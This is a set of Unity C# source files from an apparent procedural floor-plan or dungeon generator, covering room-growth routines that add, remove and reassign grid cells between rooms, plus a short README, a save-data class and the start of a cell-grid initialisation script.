return true;
}
}
good++;
}
if(aSides.w==1){
if(good==rng){
//addCellLeft
if((GrowthMethod.CellArrayTest[v.x-1,v.y].location==CellGridScript.cellLocation.Inside || GrowthMethod.CellArrayTest[v.x-1,v.y].location==CellGridScript.cellLocation.Inner) && GrowthMethod.CellArrayTest[v.x-1,v.y].roomId>=99){
GrowthMethod.CellArrayTest[v.x-1,v.y].roomId=ID;
GrowthMethod.CellArrayTest[v.x,v.y].wallSide.w=0;
GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide=new Vector4(1,1,0,1);
if(GrowthMethod.CellArrayTest[v.x-1,v.y-1].roomId==ID){
GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide.y=0;
GrowthMethod.CellArrayTest[v.x-1,v.y-1].wallSide.x=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-1,v.y-1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x-1,v.y-1));
}
}
if(GrowthMethod.CellArrayTest[v.x-1,v.y+1].roomId==ID){
GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide.x=0;
GrowthMethod.CellArrayTest[v.x-1,v.y+1].wallSide.y=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-1,v.y+1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x-1,v.y+1));
}
}
if(GrowthMethod.CellArrayTest[v.x-2,v.y].roomId==ID){
GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide.w=0;
GrowthMethod.CellArrayTest[v.x-2,v.y].wallSide.z=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-2,v.y].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x-2,v.y));
}
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide)!=0){
outerCells.Add(new Vector2Int(v.x-1,v.y));
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y].wallSide)==0){
outerCells.Remove(v);
}
//Debug.Log(name+" Add "+3);
currSize++;
currRatio=reCalculateRatioTest(0,0);
reCalculateCenterPoint();
return true;
}
}
good++;
}
return false;
}
public bool RemoveCell(){
if(currSize>1){
int cellChoice=Random.Range(0,outerCells.Count);
Vector2Int v =outerCells[cellChoice];
//make sure that we are not removing a cell that would cut the room in two chunks
if(!isCellJoint(GrowthMethod.CellArrayTest[v.x,v.y].wallSide, v)){
Vector4 aSides=GrowthMethod.CellArrayTest[v.x,v.y].wallSide;
GrowthMethod.CellArrayTest[v.x,v.y].wallSide=Vector4.zero;
GrowthMethod.CellArrayTest[v.x,v.y].roomId=99;
outerCells.Remove(v);
if(aSides.x==0){
GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide.y=1;
if(!outerCells.Contains(new Vector2Int(v.x,v.y+1))){
outerCells.Add(new Vector2Int(v.x,v.y+1));
}
}
if(aSides.y==0){
GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide.x=1;
if(!outerCells.Contains(new Vector2Int(v.x,v.y-1))){
outerCells.Add(new Vector2Int(v.x,v.y-1));
}
}
if(aSides.z==0){
GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide.w=1;
if(!outerCells.Contains(new Vector2Int(v.x+1,v.y))){
outerCells.Add(new Vector2Int(v.x+1,v.y));
}
}
if(aSides.w==0){
GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide.z=1;
if(!outerCells.Contains(new Vector2Int(v.x-1,v.y))){
outerCells.Add(new Vector2Int(v.x-1,v.y));
}
}
//Debug.Log(name+" Remove "+v);
currSize--;
currRatio=reCalculateRatioTest(0,0);
reCalculateCenterPoint();
return true;
}
}
return false;
}
public bool StealCell(){
int cellChoice=Random.Range(0,outerCells.Count);
Vector2Int v =outerCells[cellChoice];
Vector4 aSides=GrowthMethod.CellArrayTest[v.x,v.y].wallSide;
int rng=Random.Range(0,sumOfWall(aSides));
int good=0;
if(aSides.x==1){
if(good==rng){
//addCellUp
if(HouseGraph.allRoomsTest.ContainsKey(GrowthMethod.CellArrayTest[v.x,v.y+1].roomId) && !isCellJoint(GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide, new Vector2Int(v.x,v.y+1))){
int stoleId=GrowthMethod.CellArrayTest[v.x,v.y+1].roomId;
HouseGraph.allRoomsTest[stoleId].outerCells.Remove(new Vector2Int(v.x,v.y+1));
GrowthMethod.CellArrayTest[v.x,v.y+1].roomId=ID;
GrowthMethod.CellArrayTest[v.x,v.y].wallSide.x=0;
GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide=new Vector4(1,0,1,1);
if(GrowthMethod.CellArrayTest[v.x+1,v.y+1].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide.z=0;
GrowthMethod.CellArrayTest[v.x+1,v.y+1].wallSide.w=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+1,v.y+1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x+1,v.y+1));
}
}else if(GrowthMethod.CellArrayTest[v.x+1,v.y+1].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x+1,v.y+1].wallSide.w=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x+1,v.y+1))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x+1,v.y+1));
}
}
if(GrowthMethod.CellArrayTest[v.x-1,v.y+1].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide.w=0;
GrowthMethod.CellArrayTest[v.x-1,v.y+1].wallSide.z=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-1,v.y+1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x-1,v.y+1));
}
}else if(GrowthMethod.CellArrayTest[v.x-1,v.y+1].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x-1,v.y+1].wallSide.z=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x-1,v.y+1))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x-1,v.y+1));
}
}
if(GrowthMethod.CellArrayTest[v.x,v.y+2].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide.x=0;
GrowthMethod.CellArrayTest[v.x,v.y+2].wallSide.y=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y+2].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x,v.y+2));
}
}else if(GrowthMethod.CellArrayTest[v.x,v.y+2].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x,v.y+2].wallSide.y=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x,v.y+2))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x,v.y+2));
}
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y+1].wallSide)!=0){
outerCells.Add(new Vector2Int(v.x,v.y+1));
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y].wallSide)==0){
outerCells.Remove(v);
}
//Debug.Log(name+" Steal "+0);
currSize++;
HouseGraph.allRoomsTest[stoleId].currSize--;
currRatio=reCalculateRatioTest(0,0);
HouseGraph.allRoomsTest[stoleId].currRatio=HouseGraph.allRoomsTest[stoleId].reCalculateRatioTest(0,0);
reCalculateCenterPoint();
HouseGraph.allRoomsTest[stoleId].reCalculateCenterPoint();
return true;
}
}
good++;
}
if(aSides.y==1){
if(good==rng){
//addCellDown
if(HouseGraph.allRoomsTest.ContainsKey(GrowthMethod.CellArrayTest[v.x,v.y-1].roomId) && !isCellJoint(GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide, new Vector2Int(v.x,v.y-1))){
int stoleId=GrowthMethod.CellArrayTest[v.x,v.y-1].roomId;
HouseGraph.allRoomsTest[stoleId].outerCells.Remove(new Vector2Int(v.x,v.y-1));
GrowthMethod.CellArrayTest[v.x,v.y-1].roomId=ID;
GrowthMethod.CellArrayTest[v.x,v.y].wallSide.y=0;
GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide=new Vector4(0,1,1,1);
if(GrowthMethod.CellArrayTest[v.x+1,v.y-1].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide.z=0;
GrowthMethod.CellArrayTest[v.x+1,v.y-1].wallSide.w=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+1,v.y-1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x+1,v.y-1));
}
}else if(GrowthMethod.CellArrayTest[v.x+1,v.y-1].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x+1,v.y-1].wallSide.w=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x+1,v.y-1))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x+1,v.y-1));
}
}
if(GrowthMethod.CellArrayTest[v.x-1,v.y-1].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide.w=0;
GrowthMethod.CellArrayTest[v.x-1,v.y-1].wallSide.z=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-1,v.y-1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x-1,v.y-1));
}
}else if(GrowthMethod.CellArrayTest[v.x-1,v.y-1].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x-1,v.y-1].wallSide.z=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x-1,v.y-1))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x-1,v.y-1));
}
}
if(GrowthMethod.CellArrayTest[v.x,v.y-2].roomId==ID){
GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide.y=0;
GrowthMethod.CellArrayTest[v.x,v.y-2].wallSide.x=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y-2].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x,v.y-2));
}
}else if(GrowthMethod.CellArrayTest[v.x,v.y-2].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x,v.y-2].wallSide.x=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x,v.y-2))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x,v.y-2));
}
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y-1].wallSide)!=0){
outerCells.Add(new Vector2Int(v.x,v.y-1));
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y].wallSide)==0){
outerCells.Remove(v);
}
//Debug.Log(name+" Steal "+1);
currSize++;
HouseGraph.allRoomsTest[stoleId].currSize--;
currRatio=reCalculateRatioTest(0,0);
HouseGraph.allRoomsTest[stoleId].currRatio=HouseGraph.allRoomsTest[stoleId].reCalculateRatioTest(0,0);
reCalculateCenterPoint();
HouseGraph.allRoomsTest[stoleId].reCalculateCenterPoint();
return true;
}
}
good++;
}
if(aSides.z==1){
if(good==rng){
//addCellRight
if(HouseGraph.allRoomsTest.ContainsKey(GrowthMethod.CellArrayTest[v.x+1,v.y].roomId) && !isCellJoint(GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide, new Vector2Int(v.x+1,v.y))){
int stoleId=GrowthMethod.CellArrayTest[v.x+1,v.y].roomId;
HouseGraph.allRoomsTest[stoleId].outerCells.Remove(new Vector2Int(v.x+1,v.y));
GrowthMethod.CellArrayTest[v.x+1,v.y].roomId=ID;
GrowthMethod.CellArrayTest[v.x,v.y].wallSide.z=0;
GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide=new Vector4(1,1,1,0);
if(GrowthMethod.CellArrayTest[v.x+1,v.y-1].roomId==ID){
GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide.y=0;
GrowthMethod.CellArrayTest[v.x+1,v.y-1].wallSide.x=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+1,v.y-1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x+1,v.y-1));
}
}else if(GrowthMethod.CellArrayTest[v.x+1,v.y-1].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x+1,v.y-1].wallSide.x=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x+1,v.y-1))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x+1,v.y-1));
}
}
if(GrowthMethod.CellArrayTest[v.x+1,v.y+1].roomId==ID){
GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide.x=0;
GrowthMethod.CellArrayTest[v.x+1,v.y+1].wallSide.y=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+1,v.y+1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x+1,v.y+1));
}
}else if(GrowthMethod.CellArrayTest[v.x+1,v.y+1].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x+1,v.y+1].wallSide.y=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x+1,v.y+1))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x+1,v.y+1));
}
}
if(GrowthMethod.CellArrayTest[v.x+2,v.y].roomId==ID){
GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide.z=0;
GrowthMethod.CellArrayTest[v.x+2,v.y].wallSide.w=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+2,v.y].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x+2,v.y));
}
}else if(GrowthMethod.CellArrayTest[v.x+2,v.y].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x+2,v.y].wallSide.w=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x+2,v.y))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x+2,v.y));
}
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x+1,v.y].wallSide)!=0){
outerCells.Add(new Vector2Int(v.x+1,v.y));
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y].wallSide)==0){
outerCells.Remove(v);
}
//Debug.Log(name+" Steal "+2);
currSize++;
HouseGraph.allRoomsTest[stoleId].currSize--;
currRatio=reCalculateRatioTest(0,0);
HouseGraph.allRoomsTest[stoleId].currRatio=HouseGraph.allRoomsTest[stoleId].reCalculateRatioTest(0,0);
reCalculateCenterPoint();
HouseGraph.allRoomsTest[stoleId].reCalculateCenterPoint();
return true;
}
}
good++;
}
if(aSides.w==1){
if(good==rng){
//addCellLeft
if(HouseGraph.allRoomsTest.ContainsKey(GrowthMethod.CellArrayTest[v.x-1,v.y].roomId) && !isCellJoint(GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide,new Vector2Int(v.x-1,v.y))){
int stoleId=GrowthMethod.CellArrayTest[v.x-1,v.y].roomId;
HouseGraph.allRoomsTest[stoleId].outerCells.Remove(new Vector2Int(v.x-1,v.y));
GrowthMethod.CellArrayTest[v.x-1,v.y].roomId=ID;
GrowthMethod.CellArrayTest[v.x,v.y].wallSide.w=0;
GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide=new Vector4(1,1,0,1);
if(GrowthMethod.CellArrayTest[v.x-1,v.y-1].roomId==ID){
GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide.y=0;
GrowthMethod.CellArrayTest[v.x-1,v.y-1].wallSide.x=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-1,v.y-1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x-1,v.y-1));
}
}else if(GrowthMethod.CellArrayTest[v.x-1,v.y-1].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x-1,v.y-1].wallSide.x=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x-1,v.y-1))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x-1,v.y-1));
}
}
if(GrowthMethod.CellArrayTest[v.x-1,v.y+1].roomId==ID){
GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide.x=0;
GrowthMethod.CellArrayTest[v.x-1,v.y+1].wallSide.y=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-1,v.y+1].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x-1,v.y+1));
}
}else if(GrowthMethod.CellArrayTest[v.x-1,v.y+1].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x-1,v.y+1].wallSide.y=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x-1,v.y+1))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x-1,v.y+1));
}
}
if(GrowthMethod.CellArrayTest[v.x-2,v.y].roomId==ID){
GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide.w=0;
GrowthMethod.CellArrayTest[v.x-2,v.y].wallSide.z=0;
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-2,v.y].wallSide)==0){
outerCells.Remove(new Vector2Int(v.x-2,v.y));
}
}else if(GrowthMethod.CellArrayTest[v.x-2,v.y].roomId==stoleId){
GrowthMethod.CellArrayTest[v.x-2,v.y].wallSide.z=1;
if(!HouseGraph.allRoomsTest[stoleId].outerCells.Contains(new Vector2Int(v.x-2,v.y))){
HouseGraph.allRoomsTest[stoleId].outerCells.Add(new Vector2Int(v.x-2,v.y));
}
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x-1,v.y].wallSide)!=0){
outerCells.Add(new Vector2Int(v.x-1,v.y));
}
if(sumOfWall(GrowthMethod.CellArrayTest[v.x,v.y].wallSide)==0){
outerCells.Remove(v);
}
//Debug.Log(name+" Steal "+3);
currSize++;
HouseGraph.allRoomsTest[stoleId].currSize--;
currRatio=reCalculateRatioTest(0,0);
HouseGraph.allRoomsTest[stoleId].currRatio=HouseGraph.allRoomsTest[stoleId].reCalculateRatioTest(0,0);
reCalculateCenterPoint();
HouseGraph.allRoomsTest[stoleId].reCalculateCenterPoint();
return true;
}
}
good++;
}
return false;
}
bool isCellJoint(Vector4 v, Vector2Int vv){
int sum=sumOfWall(v);
if(sum==1){
if(v.x==1 && (GrowthMethod.CellArrayTest[vv.x-1,vv.y-1].roomId!=ID || GrowthMethod.CellArrayTest[vv.x+1,vv.y-1].roomId!=ID))return true;
if(v.y==1 && (GrowthMethod.CellArrayTest[vv.x-1,vv.y+1].roomId!=ID || GrowthMethod.CellArrayTest[vv.x+1,vv.y+1].roomId!=ID))return true;
if(v.z==1 && (GrowthMethod.CellArrayTest[vv.x-1,vv.y-1].roomId!=ID || GrowthMethod.CellArrayTest[vv.x-1,vv.y+1].roomId!=ID))return true;
if(v.w==1 && (GrowthMethod.CellArrayTest[vv.x+1,vv.y-1].roomId!=ID || GrowthMethod.CellArrayTest[vv.x+1,vv.y+1].roomId!=ID))return true;
}
else if(sum==2){
if(v.x==1 && v.y==1){
return true;
}else if(v.z==1 && v.w==1){
return true;
}
if(v.x==1 && v.z==1 && (GrowthMethod.CellArrayTest[vv.x,vv.y-1].wallSide.w==1 || GrowthMethod.CellArrayTest[vv.x-1,vv.y].wallSide.y==1))return true;
if(v.x==1 && v.w==1 && (GrowthMethod.CellArrayTest[vv.x,vv.y-1].wallSide.z==1 || GrowthMethod.CellArrayTest[vv.x+1,vv.y].wallSide.y==1))return true;
if(v.y==1 && v.z==1 && (GrowthMethod.CellArrayTest[vv.x,vv.y+1].wallSide.w==1 || GrowthMethod.CellArrayTest[vv.x-1,vv.y].wallSide.x==1))return true;
if(v.y==1 && v.w==1 && (GrowthMethod.CellArrayTest[vv.x,vv.y+1].wallSide.z==1 || GrowthMethod.CellArrayTest[vv.x+1,vv.y].wallSide.x==1))return true;
}else if(sum==4)return true;
return false;
}
int sumOfWall(Vector4 v){
return (int)v.x+(int)v.y+(int)v.z+(int)v.w;
}
int selectBestSidetoGrowRect(){
//TODO add that in aSides it increases the number based on priority instead of only being yes/no, and take better take into accound ratio
//fully remove ratio condition only apply it as priority
Vector4 aSides=new Vector4(1,1,1,1);
//check Available sides
foreach(Vector2Int c in outerCells){
if(CellGridScript.CellArray[c.x,c.y].wallSide.x==1){
if(CellGridScript.CellArray[c.x,c.y+1].location==CellGridScript.cellLocation.Border || CellGridScript.CellArray[c.x,c.y+1].location==CellGridScript.cellLocation.Outside || CellGridScript.CellArray[c.x,c.y+1].roomId<99){
//if the cell is in the border or belongs to a different room, we cant grow that way
aSides.x=0;
}
}
if(CellGridScript.CellArray[c.x,c.y].wallSide.y==1){
if(CellGridScript.CellArray[c.x,c.y-1].location==CellGridScript.cellLocation.Border || CellGridScript.CellArray[c.x,c.y-1].location==CellGridScript.cellLocation.Outside || CellGridScript.CellArray[c.x,c.y-1].roomId<99){
//if the cell is in the border or belongs to a different room, we cant grow that way
aSides.y=0;
}
}
if(CellGridScript.CellArray[c.x,c.y].wallSide.z==1){
if(CellGridScript.CellArray[c.x+1,c.y].location==CellGridScript.cellLocation.Border || CellGridScript.CellArray[c.x+1,c.y].location==CellGridScript.cellLocation.Outside || CellGridScript.CellArray[c.x+1,c.y].roomId<99){
//if the cell is in the border or belongs to a different room, we cant grow that way
aSides.z=0;
}
}
if(CellGridScript.CellArray[c.x,c.y].wallSide.w==1){
if(CellGridScript.CellArray[c.x-1,c.y].location==CellGridScript.cellLocation.Border || CellGridScript.CellArray[c.x-1,c.y].location==CellGridScript.cellLocation.Outside || CellGridScript.CellArray[c.x-1,c.y].roomId<99){
//if the cell is in the border or belongs to a different room, we cant grow that way
aSides.w=0;
}
}
}
Debug.Log("Possible expansion for "+name+": "+aSides);
//from the available sides check which can be made in terms of change in size
//Check maxRatio, and size not broken
//Debug.Log("check RATIO for side selection");
int countAddedSize=0;
float ratioX,ratioY,ratioZ,ratioW=0;
if(aSides.x==1){
countAddedSize=0;
//check for new side
foreach(Vector2Int c in outerCells){
if(CellGridScript.CellArray[c.x,c.y].wallSide.x==1)countAddedSize++;
}
ratioX=reCalculateRatio(0,1);
if(ratioX<=maxRatio){
aSides.x+=2;
}
if(currSize+countAddedSize>maxSize || ratioX>=maxRatio*2){
aSides.x=0;
}
}
if(aSides.y==1){
countAddedSize=0;
foreach(Vector2Int c in outerCells){
if(CellGridScript.CellArray[c.x,c.y].wallSide.y==1)countAddedSize++;
}
ratioY=reCalculateRatio(0,1);
if(ratioY<=maxRatio){
aSides.y+=2;
}
if(currSize+countAddedSize>maxSize || ratioY>=maxRatio*2){
aSides.y=0;
}
}
if(aSides.z==1){
countAddedSize=0;
foreach(Vector2Int c in outerCells){
if(CellGridScript.CellArray[c.x,c.y].wallSide.z==1)countAddedSize++;
}
ratioZ=reCalculateRatio(1,0);
if(ratioZ<=maxRatio){
aSides.z+=2;
}
if(currSize+countAddedSize>maxSize || ratioZ>=maxRatio*2){
aSides.z=0;
}
}
if(aSides.w==1){
countAddedSize=0;
foreach(Vector2Int c in outerCells){
if(CellGridScript.CellArray[c.x,c.y].wallSide.w==1)countAddedSize++;
}
ratioW=reCalculateRatio(1,0);
if(ratioW>=maxRatio){
aSides.w+=2;
}
if(currSize+countAddedSize>maxSize || ratioW>=maxRatio*2){
aSides.w=0;
}
}
Debug.Log("after size check:"+aSides);
if(aSides.x+aSides.y+aSides.z+aSides.w==0)return 0;
//knowing which side is possible, select the one more logical to fullfill room connections
//first get direction vector for each connection
List<Vector2> dir=new List<Vector2>();
foreach(int con in connections){
float tempDist=9999.9f;
dir.Add(new Vector2(0,0));
foreach(Vector2Int v in HouseGraph.allRooms[con].outerCells){
foreach(Vector2Int c in outerCells){
Vector2 dirTemp=c-v;
if(CellGridScript.CellArray[c.x,c.y].wallSide.x==1){
if(CellGridScript.CellArray[c.x,c.y+1].roomId==con){
dir[dir.Count-1]=Vector2.zero;
break;
}
}else if(CellGridScript.CellArray[c.x,c.y].wallSide.y==1){
if(CellGridScript.CellArray[c.x,c.y-1].roomId==con){
dir[dir.Count-1]=Vector2.zero;
break;
}
}else if(CellGridScript.CellArray[c.x,c.y].wallSide.z==1){
if(CellGridScript.CellArray[c.x+1,c.y].roomId==con){
dir[dir.Count-1]=Vector2.zero;
break;
}
}else if(CellGridScript.CellArray[c.x,c.y].wallSide.w==1){
if(CellGridScript.CellArray[c.x-1,c.y].roomId==con){
dir[dir.Count-1]=Vector2.zero;
break;
}
}
if(tempDist>dirTemp.magnitude){
dir[dir.Count-1]=dirTemp;
}
}
}
}
//remove does that cannot be expanded towards and those who are already connected
List<Vector2> toRemove=new List<Vector2>();
for(int j=0;j<dir.Count;j++){
if(dir[j]!=Vector2.zero){
if(dir[j].x*dir[j].x>dir[j].y*dir[j].y){
//goes left or right
if(dir[j].x>0){
//goes left
if(aSides.w<1.0f){
toRemove.Add(dir[j]);
}
}else{
//goes right
if(aSides.z<1.0f){
toRemove.Add(dir[j]);
}
}
}else{
//goes up or down
if(dir[j].y>0){
//goes down
if(aSides.y<1.0f){
toRemove.Add(dir[j]);
}
}else{
//goes up
if(aSides.x<1.0f){
toRemove.Add(dir[j]);
}
}
}
}else{
toRemove.Add(dir[j]);
}
}
foreach(Vector2 v in toRemove){
dir.Remove(v);
}
//Debug.Log("Possible dir with connections:"+dir.Count);
//select the closest one
if(dir.Count>0){
int selected=0;
float smallest=9999.9f;
for(int i =0;i<dir.Count;i++){
if(smallest>dir[i].magnitude){
selected=i;
smallest=dir[i].magnitude;
}
}
//Debug.Log(dir[selected]);
if(dir[selected].x*dir[selected].x>dir[selected].y*dir[selected].y){
//goes left or right
if(dir[selected].x>0){
//goes left
aSides.w++;
}else{
//goes right
aSides.z++;
}
}else if(dir[selected].x*dir[selected].x<dir[selected].y*dir[selected].y){
//goes up or down
if(dir[selected].y>0){
//goes down
aSides.y++;
}else{
//goes up
aSides.x++;
}
}
}
float max=0;
int sel=0;
int numEq=0;
for(int i=0; i<4;i++){
switch(i){
case 0:
if(aSides.x>max){
max=aSides.x;
sel=0;
numEq=0;
}else if(aSides.x==max){
numEq++;
}
break;
case 1:
if(aSides.y>max){
max=aSides.y;
sel=1;
numEq=0;
}else if(aSides.y==max){
numEq++;
}
break;
case 2:
if(aSides.z>max){
max=aSides.z;
sel=2;
numEq=0;
}else if(aSides.z==max){
numEq++;
}
break;
case 3:
if(aSides.w>max){
max=aSides.w;
sel=3;
numEq=0;
}else if(aSides.w==max){
numEq++;
}
break;
}
}
if(numEq==0){
switch(sel){
case 0:
return 1;
case 1:
return 2;
case 2:
return 3;
case 3:
return 4;
}
}
Debug.Log("Random selection");
//select a random available direction
int good=0;
int rng=Random.Range(0,numEq);
for(int i=0;i<4;i++){
switch(i){
case 0:
if(aSides.x==max){
if(good==rng){
return 1;
}
good++;
}
break;
case 1:
if(aSides.y==max){
if(good==rng){
return 2;
}
good++;
}
break;
case 2:
if(aSides.z==max){
if(good==rng){
return 3;
}
good++;
}
break;
case 3:
if(aSides.w==max){
if(good==rng){
return 4;
}
good++;
}
break;
}
}
return 0;//0:cant,1:up,2:down,3:right,:4:Left
}
public float reCalculateRatio(int xAdd, int yAdd){
int x=xAdd;
int y=yAdd;
foreach(Vector2Int v in outerCells){
if(CellGridScript.CellArray[v.x,v.y].wallSide.x==1){
x++;
}
if(CellGridScript.CellArray[v.x,v.y].wallSide.z==1){
y++;
}
}
if(x>y){
return x/y;
}else{
return y/x;
}
}
float reCalculateRatioTest(int xAdd, int yAdd){
int x=xAdd;
int y=yAdd;
foreach(Vector2Int v in outerCells){
if(GrowthMethod.CellArrayTest[v.x,v.y].wallSide.x==1){
x++;
}
if(GrowthMethod.CellArrayTest[v.x,v.y].wallSide.z==1){
y++;
}
}
if(x>y){
return x/y;
}else{
return y/x;
}
}
public void reCalculateCenterPoint(){
Vector2 center=Vector2.zero;
foreach(Vector2Int v in outerCells){
center+=v;
}
center=center/outerCells.Count;
centerPoint=new Vector2(center.x,center.y);
}
}<file_sep>/README.md
# DungeonGenerator
Find out more at:
https://wordpress.com/page/joelmorissetportfolio.wordpress.com/297
<file_sep>/Assets/Scripts/DataWriting/SaveScript.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class SaveScript:MonoBehaviour
{
public float currSize;
public float currRatio;
public int corners;
public float boudingSize;
public float boundingRatio;
public float fitScore;
public float qualityScore;
public List<int>adj;
public SaveScript(){
adj=new List<int>();
}
// Start is called before the first frame update
void Start()
{
}
// Update is called once per frame
void Update()
{
}
}
<file_sep>/Assets/Scripts/Visual/CellGridScript.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CellGridScript : MonoBehaviour
{
public bool Draw2D;
public DrawPlot plotInf;
public GridDrawingScript gridInf;
public static int currFloorId=555;
public static bool init;
public enum cellLocation{
Outside,
Border,
Inside,
Inner
}
public class cell{
public cellLocation location;
public int roomId;
public Vector4 wallSide;// use this a bool, x:up, y:down, z:Right, w:Left
}
public static cell[,] CellArray;
List<Vector3> outsidePoints=new List<Vector3>();
public Material mat;
public Material mat2;
public Material mat3;
public Material mat4;
public static int maxInnerCells;
public static int totCells;
float bestOffSetX;
float bestOffSetY;
public bool drawing;
// Start is called before the first frame update
void Start()
{
//initialize CellArray
StartCoroutine(LateStart(0.5f));
}
public IEnumerator LateStart(float waitTime)
{
yield return new WaitForSeconds(waitTime);
CellArray = new cell[plotInf.numCells,plotInf.numCells];
for(int ix=0;ix<plotInf.numCells;ix++){
for(int iy=0;iy<plotInf.numCells;iy++){
CellArray[ix,iy]=new cell();
CellArray[ix,iy].location=0;
CellArray[ix,iy].roomId=99;
CellArray[ix,iy].wallSide=Vector4.zero;
}
}
maxInnerCells=0;
for(int i=0;i<20;i++){
for(int j=0;j<20;j++){
gridInf.offsetX=i*0.05f;
gridInf.offsetY=j*0.05f;
gridInf.UpdateGrid();
initializeGrid();
}
}
setInnerCells();
GrowthMethod.initialized++;
